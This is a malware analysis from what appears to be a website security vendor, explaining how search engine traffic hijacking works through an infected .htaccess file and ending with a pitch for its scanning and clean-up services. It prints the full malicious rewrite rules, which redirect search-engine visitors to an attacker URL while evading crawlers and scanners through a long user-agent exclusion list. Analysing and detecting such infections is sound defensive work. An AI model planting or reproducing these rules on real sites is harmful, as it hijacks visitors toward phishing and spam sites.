Search Engine Traffic Hijacking
We are cleaning infected websites on daily basis and the most common question we are being asked is how to identify
Search Engine Traffic Hijacking before my website is infected further and Google (Yahoo, Bing or any other search engine provider) blacklists it. Usually, this is how a website owner notices that his website is infected and compromised.
The first thing to check out is .htaccess file which can be used to redirect traffic from search engines to a hijacker website. If your website is infected/ hacked using this method, it means that when someone finds your website on a search engine and clicks on a link to visit your website, he will be redirected to a hijacker website instead of yours.
How to find Search Engine Traffic Hijacking?
If you are experiencing traffic hijacking, most likely your .htaccess file updated with malicious code or new .htaccess files are populated across all your sub-directories.
Search for .htaccess file(s) within all your sub-directories, check your .htaccess file(s) for suspicious code and make sure they do not contain malicious code.
The most common way used to hijack search engine traffic is to add malicious code into existing .htaccess files. That way you, as website owner, won't notice anything strange as your website would be operating normally.
The other way is to wipe out the existing .htaccess file and replace it with malicious code only.
Here is an example from a very popular website that we cleaned-up recently. The malicious code was there for a short period of time, yet that was enough to get it blacklisted by Google. Actually, this is how the website administrator noticed it. The impact was that near 99% website traffic was redirected to other URLs.
Malware Investigation
External investigation of website by
online remote malware scanner detected:
- Traffic redirect to malicious site
- Every HTML page contained hidden iframe to malicious IP as last line in body DOM element
From the investigation of .htaccess files it was found that infection was added to temporary redirect (302) to numerous URLs (some were already blacklisted by Google).
Hacked .htaccess file body example:
RewriteEngine On
RewriteCond %{REQUEST_METHOD} ^GET$
RewriteCond %{HTTP_REFERER} ^(http\:\/\/)?([^\/\?]*\.)?(google\.|yahoo\.|bing\.|msn\.|yandex\.|ask\.|excite\.|altavista\.|netscape\.|aol\.|hotbot\.|goto\.|infoseek\.|mamma\.|alltheweb\.|lycos\.|search\.|metacrawler\.|rambler\.|mail\.|dogpile\.|ya\.|\/search\?).*$ [NC]
RewriteCond %{HTTP_REFERER} !^.*(q\=cache\:).*$ [NC]
RewriteCond %{HTTP_USER_AGENT} !^.*(bing|Accoona|Ace\sExplorer|Amfibi|Amiga\sOS|apache|appie|AppleSyndication).*$ [NC]
RewriteCond %{HTTP_USER_AGENT} !^.*(Archive|Argus|Ask\sJeeves|asterias|Atrenko\sNews|BeOS|BigBlogZoo).*$ [NC]
RewriteCond %{HTTP_USER_AGENT} !^.*(Biz360|Blaiz|Bloglines|BlogPulse|BlogSearch|BlogsLive|BlogsSay|blogWatcher).*$ [NC]
RewriteCond %{HTTP_USER_AGENT} !^.*(Bookmark|bot|CE\-Preload|CFNetwork|cococ|Combine|Crawl|curl|Danger\shiptop).*$ [NC]
RewriteCond %{HTTP_USER_AGENT} !^.*(Diagnostics|DTAAgent|ecto|EmeraldShield|endo|Evaal|Everest\-Vulcan).*$ [NC]
RewriteCond %{HTTP_USER_AGENT} !^.*(exactseek|Feed|Fetch|findlinks|FreeBSD|Friendster|Fuck\sYou|Google).*$ [NC]
RewriteCond %{HTTP_USER_AGENT} !^.*(Gregarius|HatenaScreenshot|heritrix|HolyCowDude|Honda\-Search|HP\-UX).*$ [NC]
RewriteCond %{HTTP_USER_AGENT} !^.*(HTML2JPG|HttpClient|httpunit|ichiro|iGetter|iPhone|IRIX|Jakarta|JetBrains).*$ [NC]
RewriteCond %{HTTP_USER_AGENT} !^.*(Krugle|Labrador|larbin|LeechGet|libwww|Liferea|LinkChecker).*$ [NC]
RewriteCond %{HTTP_USER_AGENT} !^.*(LinknSurf|Linux|LiveJournal|Lonopono|Lotus\-Notes|Lycos|Lynx|Mac\_PowerPC).*$ [NC]
RewriteCond %{HTTP_USER_AGENT} !^.*(Mac\_PPC|Mac\s10|like\sMac\sOS|macDN|Mediapartners|Megite|MetaProducts).*$ [NC]
RewriteCond %{HTTP_USER_AGENT} !^.*(Miva|Mobile|NetBSD|NetNewsWire|NetResearchServer|NewsAlloy|NewsFire).*$ [NC]
RewriteCond %{HTTP_USER_AGENT} !^.*(NewsGatorOnline|NewsMacPro|Nokia|NuSearch|Nutch|ObjectSearch|Octora).*$ [NC]
RewriteCond %{HTTP_USER_AGENT} !^.*(OmniExplorer|Omnipelagos|Onet|OpenBSD|OpenIntelligenceData|oreilly).*$ [NC]
RewriteCond %{HTTP_USER_AGENT} !^.*(os\=Mac|P900i|panscient|perl|PlayStation|POE\-Component|PrivacyFinder).*$ [NC]
RewriteCond %{HTTP_USER_AGENT} !^.*(psycheclone|Python|retriever|Rojo|RSS|SBIder|Scooter|Seeker|Series\s60).*$ [NC]
RewriteCond %{HTTP_USER_AGENT} !^.*(SharpReader|SiteBar|Slurp|Snoopy|Soap\sClient|Socialmarks|Sphere\sScout).*$ [NC]
RewriteCond %{HTTP_USER_AGENT} !^.*(spider|sproose|Rambler|Straw|subscriber|SunOS|Surfer|Syndic8).*$ [NC]
RewriteCond %{HTTP_USER_AGENT} !^.*(Syntryx|TargetYourNews|Technorati|Thunderbird|Twiceler|urllib|Validator).*$ [NC]
RewriteCond %{HTTP_USER_AGENT} !^.*(Vienna|voyager|W3C|Wavefire|webcollage|Webmaster|WebPatrol|wget|Win\s9x).*$ [NC]
RewriteCond %{HTTP_USER_AGENT} !^.*(Win16|Win95|Win98|Windows\s95|Windows\s98|Windows\sCE|Windows\sNT\s4).*$ [NC]
RewriteCond %{HTTP_USER_AGENT} !^.*(WinHTTP|WinNT4|WordPress|WWWeasel|wwwster|yacy|Yahoo).*$ [NC]
RewriteCond %{HTTP_USER_AGENT} !^.*(Yandex|Yeti|YouReadMe|Zhuaxia|ZyBorg).*$ [NC]
RewriteCond %{HTTP_COOKIE} !^.*xccgtswgokoe.*$
RewriteCond %{HTTPS} ^off$
RewriteRule ^(.*)$ http://url-to-malicious-site.com/cgi-bin/r.cgi?p=10003&i=36c7c8b3&j=333&m=649f84aa2d951f8f26df403fb179cdea&h=%{HTTP_HOST}&u=%{REQUEST_URI}&q=%{QUERY_STRING}&t=%{TIME} [R=302,L,CO=xccgtswgokoe:1:%{HTTP_HOST}:10080:/:0:HttpOnly]
Payload
The execution algorithm can be described as following:
Apache is handling "HTTP-GET" request, -
IF visitor's:
- Source was from search engine (see below)
- Agent used is not listed in table(see below) of user agents
- Passed cookie does not contain string "xccgtswgokoe"
Then
- Redirect visitor to URL "http://url-to-malicious-site.com/cgi-bin/r.cgi?p=10003&i=36c7c8b3&j=333&m=649f84aa2d"
- Inject cookie "xccgtswgokoe:1:%{HTTP_HOST}:10080:/:0:HttpOnly"
List of monitored search engines:
http://google.*
http://yahoo.*
http://bing.*
http://msn.*
http://yandex.*
http://ask.*
http://excite.*
http://altavista.*
http://netscape.*
http://aol.*
http://hotbot.*
http://goto.*
http://infoseek.*
http://mamma.*
http://alltheweb.*
http://lycos.*
http://search.*
http://metacrawler.*
http://rambler.*
http://mail.*
http://dogpile.*
http://ya.*
List of filtered out user agents should contain strings:
Accoona
Ace\sExplorer
Amfibi
Amiga\sOS
AppleSyndication
Archive
Argus
Ask\sJeeves
Atrenko\sNews
BeOS
BigBlogZoo
Biz360
Blaiz
BlogPulse
BlogSearch
Bloglines
BlogsLive
BlogsSay
Bookmark
CE\-Preload
CFNetwork
Combine
Crawl
DTAAgent
Danger\shiptop
Diagnostics
EmeraldShield
Evaal
Everest\-Vulcan
Feed
Fetch
FreeBSD
Friendster
Fuck\sYou
Google
Gregarius
HP\-UX
HTML2JPG
HatenaScreenshot
HolyCowDude
Honda\-Search
HttpClient
IRIX
Jakarta
JetBrains
Krugle
Labrador
LeechGet
Liferea
LinkChecker
LinknSurf
Linux
LiveJournal
Lonopono
Lotus\-Notes
Lycos
Lynx
Mac\_PPC
Mac\_PowerPC
Mac\s10
Mediapartners
Megite
MetaProducts
Miva
Mobile
NetBSD
NetNewsWire
NetResearchServer
NewsAlloy
NewsFire
NewsGatorOnline
NewsMacPro
Nokia
NuSearch
Nutch
ObjectSearch
Octora
OmniExplorer
Omnipelagos
Onet
OpenBSD
OpenIntelligenceData
Python
RSS
Rambler
Rojo
SBIder
Scooter
Seeker
Series\s60
SharpReader
SiteBar
Slurp
Snoopy
Soap\sClient
Socialmarks
Sphere\sScout
Straw
SunOS
Surfer
Syndic8
Syntryx
TargetYourNews
Technorati
Thunderbird
Twiceler
Validator
Vienna
W3C
WWWeasel
Wavefire
WebPatrol
Webmaster
Win16
Win95
Win98
WinHTTP
WinNT4
Win\s9x
Windows\s95
Windows\s98
Windows\sCE
Windows\sNT\s4
WordPress
Yahoo
Yandex
Yeti
YouReadMe
Zhuaxia
ZyBorg
apache
appie
asterias
bing
blogWatcher
bot
cococ
curl
ecto
endo
exactseek
findlinks
heritrix
httpunit
iGetter
iPhone
ichiro
larbin
libwww
macDN
oreilly
psycheclone
retriever
spider
sproose
subscriber
urllib
voyager
webcollage
wget
wwwster
yacy
Summary
The hijacked traffic was redirected using
blackhat SEO techniques. Just to name a few, such as pills/pharma, phishing, cash loans, pay-per-click providers, begs sales and so on. Just to sum it up, - the attack was designed to
hijack traffic and redirect it to whatsoever websites defined by an attacker.
Website Malware Scanning And Malware Clean-Up
Uncovering online threats and hidden malware is easy and effective with
Online Malware Scanner. However, if you suspect that your website was infected, select from
Malware Removal & Monitoring Plans for malware removal.
Alternatively, you can try to remove such malware using Quttera's website malware scan report and manually investigating your site's .htaccess file(s). Few important things to remember: make sure you use SFTP and not FTP, do backup, change password(s) and, of course, don't forget to
submit your website(s) for re-testing and removing from blacklist if needed.
